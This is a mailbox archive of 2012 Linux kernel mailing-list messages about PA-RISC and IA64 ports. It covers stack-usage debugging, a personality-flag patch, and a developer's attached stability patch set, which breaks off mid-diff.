Dr Peter Chubb				        peter.chubb AT nicta.com.au
http://www.ssrg.nicta.com.au          Software Systems Research Group/NICTA
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ia64
Subject: Re: [PATCH] debug: Do not permit CONFIG_DEBUG_STACK_USAGE=y on IA64
 or PARISC
Date: Sat, 28 Jul 2012 09:12:31 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <1343463151.3328.4.camel@dabdike.int.hansenpartnership.com>
References: <4a613b26cc402fb3ed8130cd07a37e76f4c133ef.1342634029.git.tony.luck@intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1343463161 30977 80.91.229.3 (28 Jul 2012 08:12:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 28 Jul 2012 08:12:41 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-ia64@vger.kernel.org, Fengguang Wu <fengguang.wu@intel.com>
To: Tony Luck <tony.luck@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 28 10:12:40 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Sv28d-0005U6-Sw
	for glpp-linux-parisc@plane.gmane.org; Sat, 28 Jul 2012 10:12:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751543Ab2G1IMj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 Jul 2012 04:12:39 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:55142 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751398Ab2G1IMg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 Jul 2012 04:12:36 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 814F38EE092;
	Sat, 28 Jul 2012 01:12:35 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id RubarzAQgWOy; Sat, 28 Jul 2012 01:12:34 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id D80378EE081;
	Sat, 28 Jul 2012 01:12:32 -0700 (PDT)
In-Reply-To: <4a613b26cc402fb3ed8130cd07a37e76f4c133ef.1342634029.git.tony.luck@intel.com>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4515 gmane.linux.kernel:1334616 gmane.linux.ports.ia64:22379
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4515>

On Wed, 2012-07-18 at 10:35 -0700, Tony Luck wrote:
> The stack_not_used() function in <linux/sched.h> assumes that stacks
> grow downwards. This is not true on IA64 or PARISC, so this function
> would walk off in the wrong direction and into the weeds.

OK, so looking at all of this, that statement's not quite true ... at
least for parisc, we begin the stack where end_of_stack() says the end
should be and so the walker will likely find the next word after the
canary skip occupied and terminate there, so we think the stack is
larger than it really is.  It gets the wrong value, but it will never
even walk out of the stack area.

> Found on IA64 because of a compilation failure with recursive dependencies
> on IA64_TASKSIZE and IA64_THREAD_INFO_SIZE.
> 
> Fixing the code is possible, but should be combined with other
> infrastructure additions to set up the "canary" at the end of the stack.

I agree with this.  Most of it looks easily fixable, but how would I
enable the fix for ia64?  For PA it's simple: I'll just use
CONFIG_STACK_GROWSUP, but that won't work for you.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: RE: [PATCH] debug: Do not permit CONFIG_DEBUG_STACK_USAGE=y on IA64
 or PARISC
Date: Sat, 28 Jul 2012 21:43:07 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <3908561D78D1C84285E8C5FCA982C28F193720CE@ORSMSX104.amr.corp.intel.com>
References: <4a613b26cc402fb3ed8130cd07a37e76f4c133ef.1342634029.git.tony.luck@intel.com>
 <1343463151.3328.4.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: dough.gmane.org 1343511802 1561 80.91.229.3 (28 Jul 2012 21:43:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 28 Jul 2012 21:43:22 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Ingo Molnar <mingo@elte.hu>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"Wu, Fengguang" <fengguang.wu@intel.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Sat Jul 28 23:43:21 2012
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1SvEnA-0007JN-Cy
	for glpi-linux-ia64-2@plane.gmane.org; Sat, 28 Jul 2012 23:43:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752217Ab2G1VnT (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Sat, 28 Jul 2012 17:43:19 -0400
Original-Received: from mga01.intel.com ([192.55.52.88]:54068 "EHLO mga01.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751632Ab2G1VnT (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Sat, 28 Jul 2012 17:43:19 -0400
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
  by fmsmga101.fm.intel.com with ESMTP; 28 Jul 2012 14:43:09 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.71,315,1320652800"; 
   d="scan'208";a="188838627"
Original-Received: from orsmsx606.amr.corp.intel.com ([10.22.226.128])
  by fmsmga001.fm.intel.com with ESMTP; 28 Jul 2012 14:43:09 -0700
Original-Received: from orsmsx152.amr.corp.intel.com (10.22.226.39) by
 orsmsx606.amr.corp.intel.com (10.22.226.128) with Microsoft SMTP Server (TLS)
 id 8.2.255.0; Sat, 28 Jul 2012 14:43:09 -0700
Original-Received: from orsmsx104.amr.corp.intel.com ([169.254.3.210]) by
 ORSMSX152.amr.corp.intel.com ([169.254.8.30]) with mapi id 14.01.0355.002;
 Sat, 28 Jul 2012 14:43:08 -0700
Thread-Topic: [PATCH] debug: Do not permit CONFIG_DEBUG_STACK_USAGE=y on
 IA64 or PARISC
Thread-Index: AQHNbJi8cu1EraYsb06urUq7jiT5f5c/N9/Q
In-Reply-To: <1343463151.3328.4.camel@dabdike.int.hansenpartnership.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.22.254.140]
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:22380 gmane.linux.kernel:1334671 gmane.linux.ports.parisc:4516
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/22380>

PiBJIGFncmVlIHdpdGggdGhpcy4gIE1vc3Qgb2YgaXQgbG9va3MgZWFzaWx5IGZpeGFibGUsIGJ1
dCBob3cgd291bGQgSQ0KPiBlbmFibGUgdGhlIGZpeCBmb3IgaWE2ND8gIEZvciBQQSBpdCdzIHNp
bXBsZTogSSdsbCBqdXN0IHVzZQ0KPiBDT05GSUdfU1RBQ0tfR1JPV1NVUCwgYnV0IHRoYXQgd29u
J3Qgd29yayBmb3IgeW91Lg0KDQppYTY0IGhhcyBhbiB1Z2x5IGNoaWNrZW4gdnMuIGVnZyBidWls
ZCBkZXBlbmRlbmN5LiBXaGVuIHRyeWluZyB0byBidWlsZCBvdXIgYXNtLW9mZnNldHMuaA0KZmls
ZSAodG8gZ2V0ICNkZWZpbmUgY29uc3RhbnRzIGZvciB2YXJpb3VzIHN0cnVjdHVyZSBzaXplcyBh
bmQgb2Zmc2V0cyBpbiBhIGZvcm1hdCB0aGF0IGlzDQp1c2FibGUgaW4gYXNzZW1ibHkgY29kZSkg
d2UgZ2V0Og0KDQppbmNsdWRlL2xpbnV4L3NjaGVkLmg6MjUzOTogZXJyb3I6ICdJQTY0X1RBU0tf
U0laRScgdW5kZWNsYXJlZCAoZmlyc3QgdXNlIGluIHRoaXMgZnVuY3Rpb24pDQoNCldoaWNoIGlz
IHNhZCBiZWNhdXNlIElBNjRfVEFTS19TSVpFIGlzIG9uZSBvZiB0aGUgI2RlZmluZXMgdGhhdCBh
c20tb2Zmc2V0cy5oIGlzIHRyeWluZw0KdG8gcHJvZHVjZS4NCg0KV2hpY2ggaXMgd2h5IEkganVz
dCB0aHJldyB1cCBteSBoYW5kcyBpbiBkZXNwYWlyIGFuZCBzYWlkICIhSUE2NCIgZm9yIHRoaXMg
b3B0aW9uLg0KDQotVG9ueQ0K
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Kosina <jkosina@suse.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: fix personality flag check in copy_thread()
Date: Wed, 1 Aug 2012 21:57:53 +0200 (CEST)
Lines: 59
Approved: news@gmane.org
Message-ID: <alpine.LNX.2.00.1208012155330.14910@pobox.suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1343851083 11818 80.91.229.3 (1 Aug 2012 19:58:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 1 Aug 2012 19:58:03 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 01 21:58:03 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Swf3S-0001S3-GJ
	for glpp-linux-parisc@plane.gmane.org; Wed, 01 Aug 2012 21:58:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754209Ab2HAT6B (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Aug 2012 15:58:01 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:45574 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754155Ab2HAT6A (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Aug 2012 15:58:00 -0400
Original-Received: from relay2.suse.de (unknown [195.135.220.254])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx2.suse.de (Postfix) with ESMTP id E20B0A2FD7;
	Wed,  1 Aug 2012 21:57:58 +0200 (CEST)
User-Agent: Alpine 2.00 (LNX 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4518 gmane.linux.kernel:1336515
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4518>

Directly comparing task_struct->personality against PER_* is not fully 
correct, as it doesn't take flags potentially stored in top three bytes 
into account.

Analogically, directly forcefully setting personality to PER_LINUX32 or
PER_LINUX discards any flags stored in the top three bytes.

Signed-off-by: Jiri Kosina <jkosina@suse.cz>
---

Found accidentally, untested, I don't have the hardware.

 arch/parisc/kernel/process.c    |    2 +-
 arch/parisc/kernel/sys_parisc.c |    8 ++++----
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index d4b94b3..2c05a92 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -309,7 +309,7 @@ copy_thread(unsigned long clone_flags, unsigned long usp,
 		cregs->ksp = (unsigned long)stack
 			+ (pregs->gr[21] & (THREAD_SIZE - 1));
 		cregs->gr[30] = usp;
-		if (p->personality == PER_HPUX) {
+		if (personality(p->personality) == PER_HPUX) {
 #ifdef CONFIG_HPUX
 			cregs->kpc = (unsigned long) &hpux_child_return;
 #else
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index c9b9322..f309990 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -225,12 +225,12 @@ long parisc_personality(unsigned long personality)
 	long err;
 
 	if (personality(current->personality) == PER_LINUX32
-	    && personality == PER_LINUX)
-		personality = PER_LINUX32;
+	    && personality(personality) == PER_LINUX)
+		personality &= ~PER_LINUX | PER_LINUX32;
 
 	err = sys_personality(personality);
-	if (err == PER_LINUX32)
-		err = PER_LINUX;
+	if (personality(err) == PER_LINUX32)
+		err &= ~PER_LINUX32 | PER_LINUX;
 
 	return err;
 }

-- 
Jiri Kosina
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Linux 3.4-rc7
Date: Wed, 1 Aug 2012 21:00:42 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.1208012054450.6361@file.rdu.redhat.com>
References: <CA+55aFzsygnrJwLUPV8Vg4RPmwxXLuY-uo70fBLEZR8+barT5A@mail.gmail.com>
 <4FB011E7.1000604@linux.vnet.ibm.com> <BLU0-SMTP22F4864AE1F54838C150D797150@phx.gbl>
 <4FB0197F.6010000@linux.vnet.ibm.com> <BLU0-SMTP85D30AAA2BF2CF07B1039897150@phx.gbl>
 <BLU0-SMTP4CED805E93EF3D8DA2198971A0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1343869304 29134 80.91.229.3 (2 Aug 2012 01:01:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 2 Aug 2012 01:01:44 +0000 (UTC)
Cc: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@kernel.org>,
	Peter Zijlstra <a.p.zijlstra@chello.nl>,
	stepanm@codeaurora.org, Thomas Gleixner <tglx@linutronix.de>,
	James.Bottomley@hansenpartnership.com, deller@gmx.de,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	eike-kernel@sf-tec.de, linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 02 03:01:39 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SwjnD-0007Qf-L9
	for glk-linux-kernel-3@plane.gmane.org; Thu, 02 Aug 2012 03:01:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752929Ab2HBBB2 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 1 Aug 2012 21:01:28 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:63130 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751442Ab2HBBB1 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 1 Aug 2012 21:01:27 -0400
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q7210nXZ027290
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 1 Aug 2012 21:00:50 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id q7210kdp032084
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 1 Aug 2012 21:00:46 -0400
Original-Received: from file.rdu.redhat.com (localhost [127.0.0.1])
	by file.rdu.redhat.com (8.14.4/8.14.4) with ESMTP id q7210j3Y007068;
	Wed, 1 Aug 2012 21:00:45 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file.rdu.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id q7210gHI007063;
	Wed, 1 Aug 2012 21:00:43 -0400
X-Authentication-Warning: file.rdu.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file.rdu.redhat.com
In-Reply-To: <BLU0-SMTP4CED805E93EF3D8DA2198971A0@phx.gbl>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1336605 gmane.linux.ports.parisc:4519
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1336605>



On Sun, 13 May 2012, John David Anglin wrote:

> On 13-May-12, at 4:40 PM, John David Anglin wrote:
> 
> > Yes, the revised change fixes the compilation error.  I'll know in a while
> > if
> > my config boots.
> 
> 
> I successfully booted 3.4-rc7 with this change on rp3440 (4 cpu smp).  My
> build also
> included cache and other fixes that are being discussed on the parisc list.
> 
> Dave

Hi David

Can I download a series of your PA-RISC patches somewhere?

I applied this http://www.spinics.net/lists/linux-parisc/msg03352.html and 
it improved stability for me (I had no gcc crashes since that, only 
about two aptitude crashes).

How stable is it for you? Do you have some random crashes or not?

Mikulas

From - Thu Nov 08 21:08:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Linux 3.4-rc7
Date: Wed, 1 Aug 2012 21:47:18 -0400
Lines: 2890
Approved: news@gmane.org
Message-ID: <BLU0-SMTP1253492C7F871CBBDAC05297CB0@phx.gbl>
References: <CA+55aFzsygnrJwLUPV8Vg4RPmwxXLuY-uo70fBLEZR8+barT5A@mail.gmail.com> <4FB011E7.1000604@linux.vnet.ibm.com> <BLU0-SMTP22F4864AE1F54838C150D797150@phx.gbl> <4FB0197F.6010000@linux.vnet.ibm.com> <BLU0-SMTP85D30AAA2BF2CF07B1039897150@phx.gbl> <BLU0-SMTP4CED805E93EF3D8DA2198971A0@phx.gbl> <Pine.LNX.4.64.1208012054450.6361@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-26-492618903"
X-Trace: dough.gmane.org 1343872441 30652 80.91.229.3 (2 Aug 2012 01:54:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 2 Aug 2012 01:54:01 +0000 (UTC)
Cc: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@kernel.org>,
	Peter Zijlstra <a.p.zijlstra@chello.nl>,
	stepanm@codeaurora.org, Thomas Gleixner <tglx@linutronix.de>,
	James.Bottomley@hansenpartnership.com, deller@gmx.de,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	eike-kernel@sf-tec.de, linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 02 03:53:56 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Swkbn-0004w3-GH
	for glpp-linux-parisc@plane.gmane.org; Thu, 02 Aug 2012 03:53:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753847Ab2HBBxu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Aug 2012 21:53:50 -0400
Original-Received: from blu0-omc3-s10.blu0.hotmail.com ([65.55.116.85]:27535 "EHLO
	blu0-omc3-s10.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753826Ab2HBBxs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Aug 2012 21:53:48 -0400
X-Greylist: delayed 369 seconds by postgrey-1.27 at vger.kernel.org; Wed, 01 Aug 2012 21:53:47 EDT
Original-Received: from BLU0-SMTP12 ([65.55.116.73]) by blu0-omc3-s10.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 1 Aug 2012 18:47:38 -0700
X-Originating-IP: [174.92.93.236]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.93.236]) by BLU0-SMTP12.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 1 Aug 2012 18:47:35 -0700
In-Reply-To: <Pine.LNX.4.64.1208012054450.6361@file.rdu.redhat.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 02 Aug 2012 01:47:36.0166 (UTC) FILETIME=[CA8EC060:01CD7050]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4520 gmane.linux.kernel:1336613
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4520>

--Apple-Mail-26-492618903
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

On 1-Aug-12, at 9:00 PM, Mikulas Patocka wrote:

>
>
> On Sun, 13 May 2012, John David Anglin wrote:
>
>> On 13-May-12, at 4:40 PM, John David Anglin wrote:
>>
>>> Yes, the revised change fixes the compilation error.  I'll know in  
>>> a while
>>> if
>>> my config boots.
>>
>>
>> I successfully booted 3.4-rc7 with this change on rp3440 (4 cpu  
>> smp).  My
>> build also
>> included cache and other fixes that are being discussed on the  
>> parisc list.
>>
>> Dave
>
> Hi David
>
> Can I download a series of your PA-RISC patches somewhere?
>
> I applied this http://www.spinics.net/lists/linux-parisc/ 
> msg03352.html and
> it improved stability for me (I had no gcc crashes since that, only
> about two aptitude crashes).
>
> How stable is it for you? Do you have some random crashes or not?


Attached are my latest patch sets for linux-stable 3.4 and 3.5 branches.
There is no place to to download them directly.  I added Jiri Kosina's
personality fix today to the 3.5 patch set.  Otherwise, they are  
similar.

In general, stability with 3.4 has been pretty good.  I just started  
testing
3.5 a couple of days ago.  I went about three weeks without a random
crash with 3.4 after I removed Al Viro's restart patch.  It was causing
problems with irq handling.

This is on 64-bit rp3440.  I have been using it to build debian unstable
and test GCC 4.8.  So, the machine gets a fair bit of exercise.  In  
the last
little while, it has been pretty easy to keep up with the changes in  
unstable.

Sorry, I haven't had time to submit my changes.  Some of the cache fixes
are a bit hard to explain.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-26-492618903
Content-Disposition: attachment; filename="linux-stable-3.4.7-20120730.d.txt"
Content-Type: text/plain; x-unix-mode=0644;
	name="linux-stable-3.4.7-20120730.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/hpux/gate.S b/arch/parisc/hpux/gate.S
index 38a1c1b..8e52a3b 100644
--- a/arch/parisc/hpux/gate.S
+++ b/arch/parisc/hpux/gate.S
@@ -72,6 +72,7 @@ ENTRY(hpux_gateway_page)
 	STREG	%r27, TASK_PT_GR27(%r1)		/* user dp */
 	STREG   %r28, TASK_PT_GR28(%r1)         /* return value 0 */
 	STREG   %r28, TASK_PT_ORIG_R28(%r1)     /* return value 0 (saved for signals) */
+	STREG	%r0, TASK_PT_ORIG_R28(%r1)	/* don't prohibit restarts */
 	STREG   %r29, TASK_PT_GR29(%r1)         /* 8th argument */
 	STREG	%r31, TASK_PT_GR31(%r1)		/* preserve syscall return ptr */
 	
diff --git a/arch/parisc/hpux/wrappers.S b/arch/parisc/hpux/wrappers.S
index 58c53c8..bdcea33 100644
--- a/arch/parisc/hpux/wrappers.S
+++ b/arch/parisc/hpux/wrappers.S
@@ -88,7 +88,7 @@ ENTRY(hpux_fork_wrapper)
 
 	STREG	%r2,-20(%r30)
 	ldo	64(%r30),%r30
-	STREG	%r2,PT_GR19(%r1)	;! save for child
+	STREG	%r2,PT_SYSCALL_RP(%r1)	;! save for child
 	STREG	%r30,PT_GR21(%r1)	;! save for child
 
 	LDREG	PT_GR30(%r1),%r25
@@ -132,7 +132,7 @@ ENTRY(hpux_child_return)
 	bl,n	schedule_tail, %r2
 #endif
 
-	LDREG	TASK_PT_GR19-TASK_SZ_ALGN-128(%r30),%r2
+	LDREG	TASK_PT_SYSCALL_RP-TASK_SZ_ALGN-128(%r30),%r2
 	b fork_return
 	copy %r0,%r28
 ENDPROC(hpux_child_return)
diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 9f21ab0..79f694f 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -115,7 +115,9 @@ flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vma
 {
 	if (PageAnon(page)) {
 		flush_tlb_page(vma, vmaddr);
+		preempt_disable();
 		flush_dcache_page_asm(page_to_phys(page), vmaddr);
+		preempt_enable();
 	}
 }
 
diff --git a/arch/parisc/include/asm/compat_rt_sigframe.h b/arch/parisc/include/asm/compat_rt_sigframe.h
deleted file mode 100644
index 81bec28..0000000
--- a/arch/parisc/include/asm/compat_rt_sigframe.h
+++ /dev/null
@@ -1,50 +0,0 @@
-#include<linux/compat.h>
-#include<linux/compat_siginfo.h>
-#include<asm/compat_ucontext.h>
-
-#ifndef _ASM_PARISC_COMPAT_RT_SIGFRAME_H
